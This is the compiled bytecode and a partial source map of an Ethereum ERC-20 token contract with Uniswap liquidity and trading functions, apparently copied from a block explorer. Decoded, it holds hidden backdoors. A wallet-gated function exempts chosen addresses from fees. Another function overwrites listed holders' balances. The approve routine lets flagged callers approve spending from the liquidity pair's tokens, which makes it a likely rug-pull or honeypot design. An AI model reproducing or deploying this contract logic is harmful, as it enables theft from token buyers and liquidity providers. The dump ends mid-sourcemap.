60095481565b34801561021d575f80fd5b506040516009815260200161016f565b348015610238575f80fd5b506101bc60085481565b34801561024d575f80fd5b506101bc61025c3660046115cd565b6001600160a01b03165f9081526001602052604090205490565b348015610281575f80fd5b5061028a61049d565b005b348015610297575f80fd5b5061028a610517565b3480156102ab575f80fd5b506101bc60075481565b3480156102c0575f80fd5b505f546040516001600160a01b03909116815260200161016f565b3480156102e6575f80fd5b5060408051808201909152600381526253425560e81b6020820152610162565b348015610311575f80fd5b5061028a6103203660046115cd565b6105d5565b348015610330575f80fd5b5061028a61033f3660046115fc565b610676565b34801561034f575f80fd5b5061019761035e366004611565565b610719565b34801561036e575f80fd5b5061028a61072e565b348015610382575f80fd5b506101bc6103913660046116c7565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103c6575f80fd5b5061028a610a7d565b6001600160a01b0382165f90815260046020526040812054339060ff16156103ff57506013546001600160a01b03165b61040a818585610ae0565b60019150505b92915050565b5f6104236009600a6117f5565b61043190633b9aca00611803565b905090565b5f610442848484610c03565b610493843361048e85604051806060016040528060288152602001611977602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611188565b610ae0565b5060019392505050565b5f546001600160a01b031633146104cf5760405162461bcd60e51b81526004016104c69061181a565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105405760405162461bcd60e51b81526004016104c69061181a565b6016805460ff60b81b191690556105596009600a6117f5565b61056790633b9aca00611803565b6007556105766009600a6117f5565b61058490633b9aca00611803565b6008557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105b46009600a6117f5565b6105c290633b9aca00611803565b60405190815260200160405180910390a1565b6014546001600160a01b0316336001600160a01b0316146106245760405162461bcd60e51b815260206004820152600960248201526810b232b83637bcb2b960b91b60448201526064016104c6565b600680546001600160a01b039092166001600160a01b0319909216821790555f908152600460209081526040808320805460ff1990811660019081179092556003909352922080549091169091179055565b5f5b81518110156107155760165482516001600160a01b03909116908390839081106106a4576106a461184f565b60200260200101516001600160a01b0316036106be575050565b6106ca6009600a6117f5565b6106d5906064611803565b60015f8484815181106106ea576106ea61184f565b6020908102919091018101516001600160a01b031682528101919091526040015f2055600101610678565b5050565b5f610725338484610c03565b50600192915050565b5f546001600160a01b031633146107575760405162461bcd60e51b81526004016104c69061181a565b601654600160a01b900460ff16156107b15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104c6565b601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107fa9030906107ec6009600a6117f5565b61048e90633b9aca00611803565b60155f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061086e9190611863565b6001600160a01b031663c9c653963060155f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108cd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108f19190611863565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561093b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061095f9190611863565b601680546001600160a01b039283166001600160a01b03199091161790556015541663f305d71947306109a6816001600160a01b03165f9081526001602052604090205490565b5f806109b95f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a1f573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a44919061187e565b505060168054601380546001600160a01b0319166001600160a01b0383161790556201000160a01b62ff00ff60a01b1990911617905550565b5f546001600160a01b03163314610aa65760405162461bcd60e51b81526004016104c69061181a565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610add573d5f803e3d5ffd5b50565b6001600160a01b038316610b425760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c6565b6001600160a01b038216610ba35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c6565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c675760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c6565b6001600160a01b038216610cc95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c6565b5f8111610d2a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c6565b5f80546001600160a01b03858116911614801590610d5557505f546001600160a01b03848116911614155b1561104b576001600160a01b0384165f9081526005602052604090205460ff16158015610d9a57506001600160a01b0383165f9081526005602052604090205460ff16155b610da2575f80fd5b610dce6064610dc8600f5460125411610dbd57600b54610dc1565b600d545b85906111c0565b90611245565b6016549091506001600160a01b038581169116148015610dfc57506015546001600160a01b03848116911614155b8015610e2057506001600160a01b0383165f9081526003602052604090205460ff16155b15610f0657600754821115610e775760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104c6565b60085482610e99856001600160a01b03165f9081526001602052604090205490565b610ea391906118a9565b1115610ef15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104c6565b60128054905f610f00836118bc565b91905055505b6016546001600160a01b038481169116148015610f2c57506001600160a01b0384163014155b15610f6457610f566064610dc860105460125411610f4c57600c54610dc1565b600e5485906111c0565b905047610f6247611286565b505b305f90815260016020526040902054601654600160a81b900460ff16158015610f9a57506016546001600160a01b038581169116145b8015610faf5750601654600160b01b900460ff165b8015610fbc575060095481115b8015610fcb5750601154601254115b1561104957601654600160b81b900460ff16156110245743601754101561101f5761100961100484610fff84600a546112bd565b6112bd565b6112d1565b4780156110195761101947611286565b50436017555b611049565b61103761100484610fff84600a546112bd565b4780156110475761104747611286565b505b505b80156110c357305f9081526001602052604090205461106a9082611441565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110ba9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546110e5908361149f565b6001600160a01b0385165f9081526001602052604090205561112861110a838361149f565b6001600160a01b0385165f9081526001602052604090205490611441565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611171858561149f565b60405190815260200160405180910390a350505050565b5f81848411156111ab5760405162461bcd60e51b81526004016104c6919061150c565b505f6111b784866118d4565b95945050505050565b5f825f036111cf57505f610410565b5f6111da8385611803565b9050826111e785836118e7565b1461123e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c6565b9392505050565b5f61123e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114e0565b6006546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610715573d5f803e3d5ffd5b5f8183116112cb578261123e565b50919050565b6016805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106113175761131761184f565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561136e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113929190611863565b816001815181106113a5576113a561184f565b6001600160a01b0392831660209182029290920101526015546113cb9130911684610ae0565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114039085905f90869030904290600401611906565b5f604051808303815f87803b15801561141a575f80fd5b505af115801561142c573d5f803e3d5ffd5b50506016805460ff60a81b1916905550505050565b5f8061144d83856118a9565b90508381101561123e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c6565b5f61123e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611188565b5f81836115005760405162461bcd60e51b81526004016104c6919061150c565b505f6111b784866118e7565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610add575f80fd5b803561156081611541565b919050565b5f8060408385031215611576575f80fd5b823561158181611541565b946020939093013593505050565b5f805f606084860312156115a1575f80fd5b83356115ac81611541565b925060208401356115bc81611541565b929592945050506040919091013590565b5f602082840312156115dd575f80fd5b813561123e81611541565b634e487b7160e01b5f52604160045260245ffd5b5f6020828403121561160c575f80fd5b813567ffffffffffffffff811115611622575f80fd5b8201601f81018413611632575f80fd5b803567ffffffffffffffff81111561164c5761164c6115e8565b8060051b604051601f19603f830116810181811067ffffffffffffffff82111715611679576116796115e8565b604052918252602081840181019290810187841115611696575f80fd5b6020850194505b838510156116bc576116ae85611555565b81526020948501940161169d565b509695505050505050565b5f80604083850312156116d8575f80fd5b82356116e381611541565b915060208301356116f381611541565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561174d57808504811115611731576117316116fe565b600184161561173f57908102905b60019390931c928002611716565b935093915050565b5f8261176357506001610410565b8161176f57505f610410565b8160018114611785576002811461178f576117ab565b6001915050610410565b60ff8411156117a0576117a06116fe565b50506001821b610410565b5060208310610133831016604e8410600b84101617156117ce575081810a610410565b6117da5f198484611712565b805f19048211156117ed576117ed6116fe565b029392505050565b5f61123e60ff841683611755565b8082028115828204841417610410576104106116fe565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611873575f80fd5b815161123e81611541565b5f805f60608486031215611890575f80fd5b5050815160208301516040909301519094929350919050565b80820180821115610410576104106116fe565b5f600182016118cd576118cd6116fe565b5060010190565b81810381811115610410576104106116fe565b5f8261190157634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156119565783516001600160a01b031683526020938401939092019160010161192f565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220916ab18505075ce38b0ed9093207f6379b75f76a70f7cc69a0ca94a8e6bef5e364736f6c634300081a0033
Deployed Bytecode Sourcemap
3563:8698:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5699:83;;;;;;;;;;-1:-1:-1;5769:5:0;;;;;;;;;;;;-1:-1:-1;;;5769:5:0;;;;5699:83;;;;;;;:::i;:::-;;;;;;;;6518:252;;;;;;;;;;-1:-1:-1;6518:252:0;;;;;:::i;:::-;;:::i;:::-;;;1249:14:1;;1242:22;1224:41;;1212:2;1197:18;6518:252:0;1084:187:1;4373:45:0;;;;;;;;;;;;;;;;;;;1422:25:1;;;1410:2;1395:18;4373:45:0;1276:177:1;5970:95:0;;;;;;;;;;;;;:::i;6776:314::-;;;;;;;;;;-1:-1:-1;6776:314:0;;;;;:::i;:::-;;:::i;4321:45::-;;;;;;;;;;;;;;;;5881:83;;;;;;;;;;-1:-1:-1;5881:83:0;;4011:1;2113:36:1;;2101:2;2086:18;5881:83:0;1971:184:1;4263:51:0;;;;;;;;;;;;;;;;6071:119;;;;;;;;;;-1:-1:-1;6071:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6164:18:0;6137:7;6164:18;;;:9;:18;;;;;;;6071:119;1631:148;;;;;;;;;;;;;:::i;:::-;;10099:193;;;;;;;;;;;;;:::i;4209:47::-;;;;;;;;;;;;;;;;1417:79;;;;;;;;;;-1:-1:-1;1455:7:0;1482:6;1417:79;;-1:-1:-1;;;;;1482:6:0;;;2558:51:1;;2546:2;2531:18;1417:79:0;2412:203:1;5788:87:0;;;;;;;;;;-1:-1:-1;5860:7:0;;;;;;;;;;;;-1:-1:-1;;;5860:7:0;;;;5788:87;;10621:239;;;;;;;;;;-1:-1:-1;10621:239:0;;;;;:::i;:::-;;:::i;10866:::-;;;;;;;;;;-1:-1:-1;10866:239:0;;;;;:::i;:::-;;:::i;6196:167::-;;;;;;;;;;-1:-1:-1;6196:167:0;;;;;:::i;:::-;;:::i;11635:623::-;;;;;;;;;;;;;:::i;6369:143::-;;;;;;;;;;-1:-1:-1;6369:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6477:18:0;;;6450:7;6477:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6369:143;10499:116;;;;;;;;;;;;;:::i;6518:252::-;-1:-1:-1;;;;;6654:26:0;;6593:4;6654:26;;;:17;:26;;;;;;1076:10;;6654:26;;6651:45;;;-1:-1:-1;6689:7:0;;-1:-1:-1;;;;;6689:7:0;6651:45;6707:33;6716:6;6724:7;6733:6;6707:8;:33::i;:::-;6758:4;6751:11;;;6518:252;;;;;:::o;5970:95::-;6023:7;4067:13;4011:1;4067:2;:13;:::i;:::-;4054:26;;:10;:26;:::i;:::-;6043:14;;5970:95;:::o;6776:314::-;6874:4;6891:36;6901:6;6909:9;6920:6;6891:9;:36::i;:::-;6939:121;6948:6;1076:10;6970:89;7008:6;6970:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6970:19:0;;;;;;:11;:19;;;;;;;;1076:10;6970:33;;;;;;;;;;:37;:89::i;:::-;6939:8;:121::i;:::-;-1:-1:-1;7078:4:0;6776:314;;;;;:::o;1631:148::-;1544:6;;-1:-1:-1;;;;;1544:6:0;1076:10;1544:22;1536:67;;;;-1:-1:-1;;;1536:67:0;;;;;;;:::i;:::-;;;;;;;;;1738:1:::1;1722:6:::0;;1701:40:::1;::::0;-1:-1:-1;;;;;1722:6:0;;::::1;::::0;1701:40:::1;::::0;1738:1;;1701:40:::1;1769:1;1752:19:::0;;-1:-1:-1;;;;;;1752:19:0::1;::::0;;1631:148::o;10099:193::-;1544:6;;-1:-1:-1;;;;;1544:6:0;1076:10;1544:22;1536:67;;;;-1:-1:-1;;;1536:67:0;;;;;;;:::i;:::-;10153:12:::1;:20:::0;;-1:-1:-1;;;;10153:20:0::1;::::0;;4067:13:::1;4011:1;4067:2;:13;:::i;:::-;4054:26;::::0;:10:::1;:26;:::i;:::-;10184:12;:22:::0;4067:13:::1;4011:1;4067:2;:13;:::i;:::-;4054:26;::::0;:10:::1;:26;:::i;:::-;10217:16;:24:::0;10257:27:::1;4067:13;4011:1;4067:2;:13;:::i;:::-;4054:26;::::0;:10:::1;:26;:::i;:::-;10257:27;::::0;1422:25:1;;;1410:2;1395:18;10257:27:0::1;;;;;;;10099:193::o:0;10621:239::-;10710:9;;-1:-1:-1;;;;;10710:9:0;1076:10;-1:-1:-1;;;;;10696:23:0;;10688:45;;;;-1:-1:-1;;;10688:45:0;;6837:2:1;10688:45:0;;;6819:21:1;6876:1;6856:18;;;6849:29;-1:-1:-1;;;6894:18:1;;;6887:39;6943:18;;10688:45:0;6635:332:1;10688:45:0;10744:9;:19;;-1:-1:-1;;;;;10744:19:0;;;-1:-1:-1;;;;;;10744:19:0;;;;;;;:9;10774:26;;;:17;:26;;;;;;;;:33;;-1:-1:-1;;10774:33:0;;;10744:19;10774:33;;;;;;10818:18;:27;;;;;:34;;;;;;;;;;10621:239::o;10866:::-;10937:9;10932:166;10956:5;:12;10952:1;:16;10932:166;;;11007:13;;10995:8;;-1:-1:-1;;;;;11007:13:0;;;;10995:5;;11001:1;;10995:8;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;10995:25:0;;10991:38;;11022:7;10866:239;:::o;10991:38::-;11071:15;4011:1;11071:2;:15;:::i;:::-;11065:21;;:3;:21;:::i;:::-;11043:9;:19;11053:5;11059:1;11053:8;;;;;;;;:::i;:::-;;;;;;;;;;;;-1:-1:-1;;;;;11043:19:0;;;;;;;;;;;-1:-1:-1;11043:19:0;:43;10970:4;;10932:166;;;;10866:239;:::o;6196:167::-;6274:4;6291:42;1076:10;6315:9;6326:6;6291:9;:42::i;:::-;-1:-1:-1;6351:4:0;6196:167;;;;:::o;11635:623::-;1544:6;;-1:-1:-1;;;;;1544:6:0;1076:10;1544:22;1536:67;;;;-1:-1:-1;;;1536:67:0;;;;;;;:::i;:::-;11699:11:::1;::::0;-1:-1:-1;;;11699:11:0;::::1;;;11698:12;11690:47;;;::::0;-1:-1:-1;;;11690:47:0;;7306:2:1;11690:47:0::1;::::0;::::1;7288:21:1::0;7345:2;7325:18;;;7318:30;7384:25;7364:18;;;7357:53;7427:18;;11690:47:0::1;7104:347:1::0;11690:47:0::1;11748:15;:80:::0;;-1:-1:-1;;;;;;11748:80:0::1;11785:42;11748:80:::0;;::::1;::::0;;;11839:58:::1;::::0;11856:4:::1;::::0;4067:13:::1;4011:1;4067:2;:13;:::i;:::-;4054:26;::::0;:10:::1;:26;:::i;11839:58::-;11942:15;;;;;;;;;-1:-1:-1::0;;;;;11942:15:0::1;-1:-1:-1::0;;;;;11942:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11924:55:0::1;;11988:4;11995:15;;;;;;;;;-1:-1:-1::0;;;;;11995:15:0::1;-1:-1:-1::0;;;;;11995:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11924:94;::::0;-1:-1:-1;;;;;;11924:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7904:32:1;;;11924:94:0::1;::::0;::::1;7886:51:1::0;7973:32;;7953:18;;;7946:60;7859:18;;11924:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11908:13;:110:::0;;-1:-1:-1;;;;;11908:110:0;;::::1;-1:-1:-1::0;;;;;;11908:110:0;;::::1;;::::0;;12029:15:::1;::::0;::::1;:31;12068:21;12099:4;12105:24;12099:4:::0;-1:-1:-1;;;;;6164:18:0;6137:7;6164:18;;;:9;:18;;;;;;;6071:119;12105:24:::1;12130:1;12132::::0;12134:7:::1;1455::::0;1482:6;-1:-1:-1;;;;;1482:6:0;;1417:79;12134:7:::1;12029:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12029:129:0;;;-1:-1:-1;;;;;8338:32:1;;;12029:129:0::1;::::0;::::1;8320:51:1::0;8387:18;;;8380:34;;;;8430:18;;;8423:34;;;;8473:18;;;8466:34;8537:32;;;8516:19;;;8509:61;12142:15:0::1;8586:19:1::0;;;8579:35;8292:19;;12029:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12179:13:0::1;::::0;;12169:7:::1;:23:::0;;-1:-1:-1;;;;;;12169:23:0::1;-1:-1:-1::0;;;;;12179:13:0;::::1;12169:23;::::0;;-1:-1:-1;;;;;;;12232:18:0;;;;;;-1:-1:-1;11635:623:0:o;10499:116::-;1544:6;;-1:-1:-1;;;;;1544:6:0;1076:10;1544:22;1536:67;;;;-1:-1:-1;;;1536:67:0;;;;;;;:::i;:::-;1455:7;1482:6;;10559:48:::1;::::0;-1:-1:-1;;;;;1482:6:0;;;;10585:21:::1;10559:48:::0;::::1;;;::::0;10585:21;;10559:48;1455:7;10559:48;10585:21;1482:6;10559:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10499:116::o:0;7096:335::-;-1:-1:-1;;;;;7189:19:0;;7181:68;;;;-1:-1:-1;;;7181:68:0;;9288:2:1;7181:68:0;;;9270:21:1;9327:2;9307:18;;;9300:30;9366:34;9346:18;;;9339:62;-1:-1:-1;;;9417:18:1;;;9410:34;9461:19;;7181:68:0;9086:400:1;7181:68:0;-1:-1:-1;;;;;7268:21:0;;7260:68;;;;-1:-1:-1;;;7260:68:0;;9693:2:1;7260:68:0;;;9675:21:1;9732:2;9712:18;;;9705:30;9771:34;9751:18;;;9744:62;-1:-1:-1;;;9822:18:1;;;9815:32;9864:19;;7260:68:0;9491:398:1;7260:68:0;-1:-1:-1;;;;;7339:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7391:32;;1422:25:1;;;7391:32:0;;1395:18:1;7391:32:0;;;;;;;7096:335;;;:::o;7437:2656::-;-1:-1:-1;;;;;7525:18:0;;7517:68;;;;-1:-1:-1;;;7517:68:0;;10096:2:1;7517:68:0;;;10078:21:1;10135:2;10115:18;;;10108:30;10174:34;10154:18;;;10147:62;-1:-1:-1;;;10225:18:1;;;10218:35;10270:19;;7517:68:0;9894:401:1;7517:68:0;-1:-1:-1;;;;;7604:16:0;;7596:64;;;;-1:-1:-1;;;7596:64:0;;10502:2:1;7596:64:0;;;10484:21:1;10541:2;10521:18;;;10514:30;10580:34;10560:18;;;10553:62;-1:-1:-1;;;10631:18:1;;;10624:33;10674:19;;7596:64:0;10300:399:1;7596:64:0;7688:1;7679:6;:10;7671:64;;;;-1:-1:-1;;;7671:64:0;;10906:2:1;7671:64:0;;;10888:21:1;10945:2;10925:18;;;10918:30;10984:34;10964:18;;;10957:62;-1:-1:-1;;;11035:18:1;;;11028:39;11084:19;;7671:64:0;10704:405:1;7671:64:0;7746:18;1482:6;;-1:-1:-1;;;;;7781:15:0;;;1482:6;;7781:15;;;;:32;;-1:-1:-1;1455:7:0;1482:6;-1:-1:-1;;;;;7800:13:0;;;1482:6;;7800:13;;7781:32;7777:1956;;;-1:-1:-1;;;;;7839:11:0;;;;;;:5;:11;;;;;;;;7838:12;:26;;;;-1:-1:-1;;;;;;7855:9:0;;;;;;:5;:9;;;;;;;;7854:10;7838:26;7830:35;;;;;;7893:73;7962:3;7893:64;7915:12;;7905:9;;:22;7904:52;;7942:14;;7904:52;;;7929:12;;7904:52;7893:6;;:10;:64::i;:::-;:68;;:73::i;:::-;7993:13;;7880:86;;-1:-1:-1;;;;;;7985:21:0;;;7993:13;;7985:21;:55;;;;-1:-1:-1;8024:15:0;;-1:-1:-1;;;;;8010:30:0;;;8024:15;;8010:30;;7985:55;:83;;;;-1:-1:-1;;;;;;8046:22:0;;;;;;:18;:22;;;;;;;;8044:24;7985:83;7981:315;;;8108:12;;8098:6;:22;;8090:60;;;;-1:-1:-1;;;8090:60:0;;11316:2:1;8090:60:0;;;11298:21:1;11355:2;11335:18;;;11328:30;11394:27;11374:18;;;11367:55;11439:18;;8090:60:0;11114:349:1;8090:60:0;8203:16;;8193:6;8177:13;8187:2;-1:-1:-1;;;;;6164:18:0;6137:7;6164:18;;;:9;:18;;;;;;;6071:119;8177:13;:22;;;;:::i;:::-;:42;;8169:81;;;;-1:-1:-1;;;8169:81:0;;11800:2:1;8169:81:0;;;11782:21:1;11839:2;11819:18;;;11812:30;11878:28;11858:18;;;11851:56;11924:18;;8169:81:0;11598:350:1;8169:81:0;8269:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7981:315;8319:13;;-1:-1:-1;;;;;8313:19:0;;;8319:13;;8313:19;:43;;;;-1:-1:-1;;;;;;8336:20:0;;8351:4;8336:20;;8313:43;8310:365;;;8390:76;8462:3;8390:67;8412:13;;8402:9;;:23;8401:55;;8441:15;;8401:55;;;8427:13;;8390:6;;:10;:67::i;:76::-;8377:89;-1:-1:-1;8514:21:0;8605:35;8618:21;8605:12;:35::i;:::-;8358:317;8310:365;8738:4;8689:28;6164:18;;;:9;:18;;;;;;8764:6;;-1:-1:-1;;;8764:6:0;;;;8763:7;:32;;;;-1:-1:-1;8782:13:0;;-1:-1:-1;;;;;8774:21:0;;;8782:13;;8774:21;8763:32;:47;;;;-1:-1:-1;8799:11:0;;-1:-1:-1;;;8799:11:0;;;;8763:47;:83;;;;;8835:11;;8814:20;:32;8763:83;:110;;;;;8860:13;;8850:9;;:23;8763:110;8759:963;;;8898:12;;-1:-1:-1;;;8898:12:0;;;;8894:813;;;8954:12;8939;;:27;8935:429;;;8995:67;9012:49;9016:6;9023:37;9027:20;9048:11;;9023:3;:37::i;:::-;9012:3;:49::i;:::-;8995:16;:67::i;:::-;9118:21;9169:22;;9166:121;;9224:35;9237:21;9224:12;:35::i;:::-;-1:-1:-1;9328:12:0;9313;:27;8935:429;8894:813;;;9412:67;9429:49;9433:6;9440:37;9444:20;9465:11;;9440:3;:37::i;9412:67::-;9531:21;9578:22;;9575:113;;9629:35;9642:21;9629:12;:35::i;:::-;9389:318;8894:813;7815:1918;7777:1956;9746:12;;9743:165;;9815:4;9797:24;;;;:9;:24;;;;;;:40;;9826:10;9797:28;:40::i;:::-;9790:4;9772:24;;;;:9;:24;;;;;;;:65;;;;9855:41;;-1:-1:-1;;;;;9855:41:0;;;;;;;9885:10;1422:25:1;;1410:2;1395:18;;1276:177;9855:41:0;;;;;;;;9743:165;-1:-1:-1;;;;;9934:15:0;;;;;;:9;:15;;;;;;:27;;9954:6;9934:19;:27::i;:::-;-1:-1:-1;;;;;9918:15:0;;;;;;:9;:15;;;;;:43;9986:41;10004:22;:6;10015:10;10004;:22::i;:::-;-1:-1:-1;;;;;9986:13:0;;;;;;:9;:13;;;;;;;:17;:41::i;:::-;-1:-1:-1;;;;;9972:13:0;;;;;;;:9;:13;;;;;:55;;;;10043:42;;;10062:22;:6;10073:10;10062;:22::i;:::-;10043:42;;1422:25:1;;;1410:2;1395:18;10043:42:0;;;;;;;7506:2587;7437:2656;;;:::o;2141:190::-;2227:7;2263:12;2255:6;;;;2247:29;;;;-1:-1:-1;;;2247:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2287:9:0;2299:5;2303:1;2299;:5;:::i;:::-;2287:17;2141:190;-1:-1:-1;;;;;2141:190:0:o;2339:246::-;2397:7;2421:1;2426;2421:6;2417:47;;-1:-1:-1;2451:1:0;2444:8;;2417:47;2474:9;2486:5;2490:1;2486;:5;:::i;:::-;2474:17;-1:-1:-1;2519:1:0;2510:5;2514:1;2474:17;2510:5;:::i;:::-;:10;2502:56;;;;-1:-1:-1;;;2502:56:0;;12650:2:1;2502:56:0;;;12632:21:1;12689:2;12669:18;;;12662:30;12728:34;12708:18;;;12701:62;-1:-1:-1;;;12779:18:1;;;12772:31;12820:19;;2502:56:0;12448:397:1;2502:56:0;2576:1;2339:246;-1:-1:-1;;;2339:246:0:o;2593:132::-;2651:7;2678:39;2682:1;2685;2678:39;;;;;;;;;;;;;;;;;:3;:39::i;10402:91::-;10459:9;;:26;;-1:-1:-1;;;;;10459:9:0;;;;:26;;;;;10478:6;;10459:9;:26;:9;:26;10478:6;10459:9;:26;;;;;;;;;;;;;;;;;;;10298:98;10355:7;10382:1;10380;:3;10379:9;;10387:1;10379:9;;;-1:-1:-1;10385:1:0;10298:98;-1:-1:-1;10298:98:0:o;11111:483::-;5141:6;:13;;-1:-1:-1;;;;5141:13:0;-1:-1:-1;;;5141:13:0;;;11213:16:::1;::::0;;11227:1:::1;11213:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11213:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11213:16:0::1;11189:40;;11258:4;11240;11245:1;11240:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11240:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11284:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11284:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11240:7;;11284:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11274:4;11279:1;11274:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11274:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11349:15:::1;::::0;11317:62:::1;::::0;11334:4:::1;::::0;11349:15:::1;11367:11:::0;11317:8:::1;:62::i;:::-;11390:15;::::0;:196:::1;::::0;-1:-1:-1;;;11390:196:0;;-1:-1:-1;;;;;11390:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11471:11;;11390:15:::1;::::0;11513:4;;11540::::1;::::0;11560:15:::1;::::0;11390:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5177:6:0;:14;;-1:-1:-1;;;;5177:14:0;;;-1:-1:-1;;;;11111:483:0:o;1810:179::-;1868:7;;1900:5;1904:1;1900;:5;:::i;:::-;1888:17;;1929:1;1924;:6;;1916:46;;;;-1:-1:-1;;;1916:46:0;;14016:2:1;1916:46:0;;;13998:21:1;14055:2;14035:18;;;14028:30;14094:29;14074:18;;;14067:57;14141:18;;1916:46:0;13814:351:1;1997:136:0;2055:7;2082:43;2086:1;2089;2082:43;;;;;;;;;;;;;;;;;:3;:43::i;2733:189::-;2819:7;2854:12;2847:5;2839:28;;;;-1:-1:-1;;;2839:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2878: